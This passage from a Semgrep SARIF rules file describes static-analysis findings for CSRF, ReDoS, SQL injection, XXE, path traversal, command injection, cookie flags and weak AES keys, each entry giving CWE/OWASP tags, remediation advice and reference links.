(CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. To prevent this vulnerability start by identifying if the framework or library leveraged has built-in features or offers plugins for CSRF protection. CSRF tokens should be unique and securely random. The `Synchronizer Token` or `Double Submit Cookie` patterns with defense-in-depth mechanisms such as the `sameSite` cookie flag can help prevent CSRF. For more information, see: [Cross-site request forgery prevention](https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html)"},"helpUri":"https://semgrep.dev/r/python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","id":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","name":"python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-crispy-forms-disable-csrf.django-crispy-forms-disable-csrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"help":{"markdown":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.infinitematchtimeout)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0](https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0)\n","text":"Specifying the regex timeout leaves the system vulnerable to a regex-based Denial of Service (DoS) attack. Consider setting the timeout to a short amount of time like 2 or 3 seconds. If you are sure you need an infinite timeout, double check that your context meets the conditions outlined in the \"Notes to Callers\" section at the bottom of this page: https://docs.microsoft.com/en-us/dotnet/api/system.text.regularexpressions.regex.-ctor?view=net-6.0"},"helpUri":"https://semgrep.dev/r/csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","id":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","name":"csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.regular-expression-dos.regular-expression-dos-infinite-timeout.regular-expression-dos-infinite-timeout"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"help":{"markdown":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A Spring expression is built with a dynamic value. The source of the value(s) should be verified to avoid that unfiltered values fall into this risky code evaluation."},"helpUri":"https://semgrep.dev/r/java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","id":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","name":"java.spring.security.audit.spring-jsp-eval.spring-jsp-eval","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.audit.spring-jsp-eval.spring-jsp-eval"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"`readlink` does not NULL terminate the output buffer. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","id":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","name":"cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.readlink-null-terminator.readlink-null-terminator"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"help":{"markdown":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli)\n - [https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql](https://guides.rubyonrails.org/active_record_querying.html#finding-by-sql)\n","text":"Detected SQL statement that is tainted by `event` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `Example.find_by_sql [\"SELECT title FROM posts WHERE author = ? AND created > ?\", author_id, start_date]`"},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","id":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","name":"ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.activerecord-sqli.activerecord-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express)\n - [https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values](https://github.com/mysqljs/mysql?tab=readme-ov-file#escaping-query-values)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mysql-express.mysql-express","id":"javascript.express.db.mysql-express.mysql-express","name":"javascript.express.db.mysql-express.mysql-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mysql-express.mysql-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"help":{"markdown":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length)\n - [https://cwe.mitre.org/data/definitions/787.html](https://cwe.mitre.org/data/definitions/787.html)\n - [https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts](https://wiki.sei.cmu.edu/confluence/display/c/ARR30-C.+Do+not+form+or+use+out-of-bounds+pointers+or+array+subscripts)\n","text":"The return value of `snprintf` is the number of characters that would be written, excluding the NUL terminator. The return value must be validated before using it as a buffer index or buffer length."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","id":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","name":"cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length","properties":{"precision":"very-high","tags":["CWE-787: Out-of-bounds Write","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.snprintf-return-value-length.snprintf-return-value-length"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"help":{"markdown":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly)\n - [https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go](https://github.com/0c34/govwa/blob/139693e56406b5684d2a6ae22c0af90717e149b8/util/cookie.go)\n - [https://golang.org/src/net/http/cookie.go](https://golang.org/src/net/http/cookie.go)\n","text":"A session cookie was detected without setting the 'HttpOnly' flag. The 'HttpOnly' flag for cookies instructs the browser to forbid client-side scripts from reading the cookie which mitigates XSS attacks. Set the 'HttpOnly' flag by setting 'HttpOnly' to 'true' in the Cookie."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","id":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","name":"go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.cookie-missing-httponly.cookie-missing-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"help":{"markdown":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://cwe.mitre.org/data/definitions/310.html](https://cwe.mitre.org/data/definitions/310.html)\n","text":"Potential empty AES encryption key. Using an empty key in AES encryption can result in weak encryption and may allow attackers to easily decrypt sensitive data. Ensure that a strong, non-empty key is used for AES encryption."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.empty-aes-key.empty-aes-key","id":"python.cryptography.security.empty-aes-key.empty-aes-key","name":"python.cryptography.security.empty-aes-key.empty-aes-key","properties":{"precision":"very-high","tags":["CWE-310: Cryptographic Issues","CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A6:2017 misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.empty-aes-key.empty-aes-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXBuilder parser with `parser.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, enabling both of `parser.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`, and enabling both of `parser.setExpandEntities(false)` and parser.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)` It is also possible to use one of the constructor parameters that will result in a more secure parser by default: `new SAXBuilder(XMLReaders.DTDVALIDATING)` or `new SAXBuilder(XMLReaders.XSDVALIDATING)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","id":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","name":"java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxbuilder-xxe-spring.tainted-saxbuilder-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","id":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","name":"go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.path-traversal.net-http-path-traversal-taint.net-http-path-traversal-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","id":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","name":"rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.actix.command-injection.rust-actix-command-injection.rust-actix-command-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"help":{"markdown":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format)\n - [https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/](https://www.netsparker.com/blog/web-security/preventing-xss-ruby-on-rails-web-applications/)\n - [https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html](https://api.rubyonrails.org/classes/ActionView/Helpers/SanitizeHelper.html)\n","text":"Detected user input flowing into a manually constructed HTML string. You may be accidentally bypassing secure methods of rendering HTML by manually constructing HTML and this could create a cross-site scripting vulnerability, which could let attackers steal sensitive user data. Use the `render template` and make template files which will safely render HTML instead, or inspect that the HTML is absolutely rendered safely with a function like `sanitize`."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.raw-html-format.raw-html-format","id":"ruby.rails.security.injection.raw-html-format.raw-html-format","name":"ruby.rails.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint)\n - [https://docs.rs/postgres/latest/postgres/](https://docs.rs/postgres/latest/postgres/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.postgres-taint.postgres-taint","id":"rust.rocket.sql.postgres-taint.postgres-taint","name":"rust.rocket.sql.postgres-taint.postgres-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.postgres-taint.postgres-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class."},"help":{"markdown":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` class.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.laravel.security.laravel-csrf-not-verified.laravel-csrf-not-verified)\n - [https://laravel.com/docs/9.x/csrf#preventing-csrf-requests](https://laravel.com/docs/9.x/csrf#preventing-csrf-requests)\n - [https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf](https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Laravel_Cheat_Sheet.md#cross-site-request-forgery-csrf)\n","text":"The application appears to have disabled the CSRF token verification middleware which can lead to a Cross-site request forgery (CSRF) vulnerability. If the application uses cookie-based authentication, an attacker can trick users into sending authenticated HTTP requests without their knowledge from any arbitrary domain they visit. You can prevent this vulnerability by enforcing usage and verification of the CSRF tokens associated with user requests. To enable the CSRF token verification middleware add `\\$APP\\Http\\Middleware\\VerifyCsrfToken` to the middleware group in your `$APP\\Http\\Kernel` 